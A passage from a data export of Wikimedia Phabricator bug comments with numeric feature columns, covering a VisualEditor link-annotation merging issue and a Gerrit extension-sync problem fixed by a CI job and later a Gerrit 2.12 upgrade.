Secondly, because we want to stop merging comparable but different annotations in the converter, we need Parsoid to correctly process at least things like <a href=""Porcupine"">p</a><a href=""Porcupine"">orcupine</a> (adjacent <a>s with the same href) and possibly <a href=""porcupine"">p</a><a href=""Porcupine"">orcupine</a> as well (adjacent <a>s with different hrefs that normalize to the same title).",,,1372036243,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,8.5,1.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.5,2.0,0.0,7.5,11.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,10.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,5.5,1.5,3.5,1.5,3.0,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.5,11.5,4.5,0.0,0.0,0.0,2.5,0.0,1.0,2.0,0.0,0.5,0.5,0.5,8.0,4.866197183098592,0.7440643863179075,"There are two issues here.

First off, we should change getComparableObject() for MWInternalLinkAnnotation to normalize the title and possibly tweak other things to the point where links to the same title are comparable, even if they have different capitalizations or space-vs-underscore variants of that title. That will be both more semantically correct and serve as a workaround for this bug.

Secondly, because we want to stop merging comparable but different annotations in the converter, we need Parsoid to correctly process at least things like <a href=""Porcupine"">p</a><a href=""Porcupine"">orcupine</a> (adjacent <a>s with the same href) and possibly <a href=""porcupine"">p</a><a href=""Porcupine"">orcupine</a> as well (adjacent <a>s with different hrefs that normalize to the same title)."
237922,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","Similar but different. This case should definitely be fixed in VE, not Parsoid.",,,1371982074,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1875,0.9375,"Similar but different. This case should definitely be fixed in VE, not Parsoid."
237916,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","Ed, is this due to the DM stuff around adjacent annotations?",,,1371855415,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,1.0,"Ed, is this due to the DM stuff around adjacent annotations?"
51846,mediawiki/extensions.git does not update some extensions,"http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version shows that the version of VisualEditor on beta labs is from May 28.  The version of Parsoid on beta labs shows no date. 

It would be convenient to have VE/Parsoid available on beta labs as well as on test2wiki and mediawiki.org

--------------------------
**Version**: unspecified
**Severity**: critical
**Whiteboard**: rmqa-2013",Unbreak Now!,100.0,1371684540,1390501982.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-7sbdbkrfcvaejzeycoty,task_description,resolved,True,c1,2,False,False,False,-2,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,14.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.918918918918919,0.6081081081081081,"URL shows that the version of VisualEditor on beta labs is from May 28.  The version of Parsoid on beta labs shows no date. 

It would be convenient to have VE/Parsoid available on beta labs as well as on test2wiki and mediawiki.org

--------------------------
**Version**: unspecified
**Severity**: critical
**Whiteboard**: rmqa-2013"
750449,mediawiki/extensions.git does not update some extensions,"Change 317923 merged by Dzahn:
contint: remove python-requests

[[https://gerrit.wikimedia.org/r/317923]]",,,1477523670,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,173,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.789473684210526,0.8421052631578947,"Change 317923 merged by Dzahn:
contint: remove python-requests

[[GERRIT_URL]]"
749667,mediawiki/extensions.git does not update some extensions,"Change 317923 had a related patch set uploaded (by Hashar):
contint: remove python-requests

[[https://gerrit.wikimedia.org/r/317923]]
",,,1477429966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,173,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.730769230769231,0.8846153846153846,"Change 317923 had a related patch set uploaded (by Hashar):
contint: remove python-requests

[[GERRIT_URL]]
"
730051,mediawiki/extensions.git does not update some extensions,"Change 311161 merged by Dzahn:
contint: drop now unused sudo rule

[[https://gerrit.wikimedia.org/r/311161]]",,,1474048424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,167,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.6,0.85,"Change 311161 merged by Dzahn:
contint: drop now unused sudo rule

[[GERRIT_URL]]"
730024,mediawiki/extensions.git does not update some extensions,"Change 311161 had a related patch set uploaded (by Hashar):
contint: drop now unused sudo rule

[[https://gerrit.wikimedia.org/r/311161]]
",,,1474047362,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,167,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.5925925925925926,0.8888888888888888,"Change 311161 had a related patch set uploaded (by Hashar):
contint: drop now unused sudo rule

[[GERRIT_URL]]
"
725520,mediawiki/extensions.git does not update some extensions,"Change 309275 merged by Giuseppe Lavagetto:
ci::master: drop mwext-sync leftover

[[https://gerrit.wikimedia.org/r/309275]]",,,1473409160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.190476190476191,0.8571428571428571,"Change 309275 merged by Giuseppe Lavagetto:
ci::master: drop mwext-sync leftover

[[GERRIT_URL]]"
725137,mediawiki/extensions.git does not update some extensions,"Change 309272 merged by jenkins-bot:
Remove VE script to sync the Gerrit repo

[[https://gerrit.wikimedia.org/r/309272]]",,,1473361798,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.5652173913043477,0.9130434782608695,"Change 309272 merged by jenkins-bot:
Remove VE script to sync the Gerrit repo

[[GERRIT_URL]]"
724762,mediawiki/extensions.git does not update some extensions,"This is confirmed to have been fixed when we have upgraded to Gerrit 2.12.

The workaround script and Jenkins job have been removed end of July, the recent changes I have sent above are merely for clean up.",,,1473329510,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,166,,0.0,0.0,0.0,7.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,7.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,14.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,12.0,7.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0476190476190474,0.8571428571428571,"This is confirmed to have been fixed when we have upgraded to Gerrit 2.12.

The workaround script and Jenkins job have been removed end of July, the recent changes I have sent above are merely for clean up."
724761,mediawiki/extensions.git does not update some extensions,"Change 309275 had a related patch set uploaded (by Hashar):
ci::master: drop mwext-sync leftover

[[https://gerrit.wikimedia.org/r/309275]]
",,,1473329426,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.740740740740741,0.8888888888888888,"Change 309275 had a related patch set uploaded (by Hashar):
ci::master: drop mwext-sync leftover

[[GERRIT_URL]]
"
724760,mediawiki/extensions.git does not update some extensions,"Change 309272 had a related patch set uploaded (by Hashar):
Remove VE script to sync the Gerrit repo

[[https://gerrit.wikimedia.org/r/309272]]
",,,1473329159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.607142857142857,0.8928571428571429,"Change 309272 had a related patch set uploaded (by Hashar):
Remove VE script to sync the Gerrit repo

[[GERRIT_URL]]
"
724758,mediawiki/extensions.git does not update some extensions,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVcJQJLzaH8PnNb4D6OE} [2016-09-08T10:03:29Z] <hashar> Delete Jenkins job https://integration.wikimedia.org/ci/job/mwext-VisualEditor-sync-gerrit/ that has been left behind. It is no more needed. T51846 T86659",,,1473329009,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,26.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,21.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,12.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,3.302325581395349,0.8604651162790697,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-09-08T10:03:29Z] <hashar> Delete Jenkins job URL that has been left behind. It is no more needed. T51846 T86659"
724755,mediawiki/extensions.git does not update some extensions,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVcJP0y9pirJUPGy-5YX} [2016-09-08T10:02:05Z] <hashar> Delete mwext-VisualEditor-sync-gerrit job, already got removed by ostriches in 139d17c8f1c4bcf2bb761e13a6501e4d85684066 . The issue in Gerrit (T51846) has been fixed. Poke T86659 , one less job on slaves. ",,,1473328926,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,3.9682539682539684,0.7777777777777778,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-09-08T10:02:05Z] <hashar> Delete mwext-VisualEditor-sync-gerrit job, already got removed by ostriches in 139d17c8f1c4bcf2bb761e13a6501e4d85684066 . The issue in Gerrit (T51846) has been fixed. Poke T86659 , one less job on slaves. "
676263,mediawiki/extensions.git does not update some extensions,"Fixed in https://gerrit-review.googlesource.com/#/c/69891/

Upgrading to gerrit 2.12 which will happen soon will fix the problem.",,,1465398703,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,153,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.117647058823529,0.9411764705882353,"Fixed in URL

Upgrading to gerrit 2.12 which will happen soon will fix the problem."
604483,mediawiki/extensions.git does not update some extensions,Upstream bug is https://code.google.com/p/gerrit/issues/detail?id=2393,,,1454694024,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,135,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Upstream bug is URL
603339,mediawiki/extensions.git does not update some extensions,Same issue with `Cards` and `mediawiki/extensions/Cards` at T125182,,,1454594877,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,135,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.875,Same issue with CODE and CODE at T125182
254342,mediawiki/extensions.git does not update some extensions,"After much madness, this is now fixed. I had to write a bunch of shell slave scripts to let us properly push the VE update change to mediawiki/extensions.git and self merge them.

The job is:

 https://integration.wikimedia.org/ci/job/mwext-VisualEditor-sync-gerrit/

It managed to merge an update a few minutes ago:

 https://gerrit.wikimedia.org/r/#/c/109113/


I guess the issue is fixed now. Sorry for the long time it took to get this fixed.",,,1390501982,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,29,,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,11.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,8.0,10.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,3.5316455696202533,0.7088607594936709,"After much madness, this is now fixed. I had to write a bunch of shell slave scripts to let us properly push the VE update change to mediawiki/extensions.git and self merge them.

The job is:

 URL

It managed to merge an update a few minutes ago:

 URL


I guess the issue is fixed now. Sorry for the long time it took to get this fixed."
254337,mediawiki/extensions.git does not update some extensions,"Change 108837 merged by jenkins-bot:
mwext-VisualEditor-sync-gerrit on master branch only

https://gerrit.wikimedia.org/r/108837",,,1390341294,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2272727272727275,0.8636363636363636,"Change 108837 merged by jenkins-bot:
mwext-VisualEditor-sync-gerrit on master branch only

GERRIT_URL"
254334,mediawiki/extensions.git does not update some extensions,"Change 108837 had a related patch set uploaded by Hashar:
mwext-VisualEditor-sync-gerrit on master branch only

https://gerrit.wikimedia.org/r/108837",,,1390341257,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.36,0.92,"Change 108837 had a related patch set uploaded by Hashar:
mwext-VisualEditor-sync-gerrit on master branch only

GERRIT_URL"
254331,mediawiki/extensions.git does not update some extensions,"Change 108810 merged by jenkins-bot:
trigger mwext-VisualEditor-sync-gerrit on postmerge

https://gerrit.wikimedia.org/r/108810",,,1390334487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.8571428571428571,"Change 108810 merged by jenkins-bot:
trigger mwext-VisualEditor-sync-gerrit on postmerge

GERRIT_URL"
254327,mediawiki/extensions.git does not update some extensions,"Change 108810 had a related patch set uploaded by Hashar:
trigger mwext-VisualEditor-sync-gerrit on postmerge

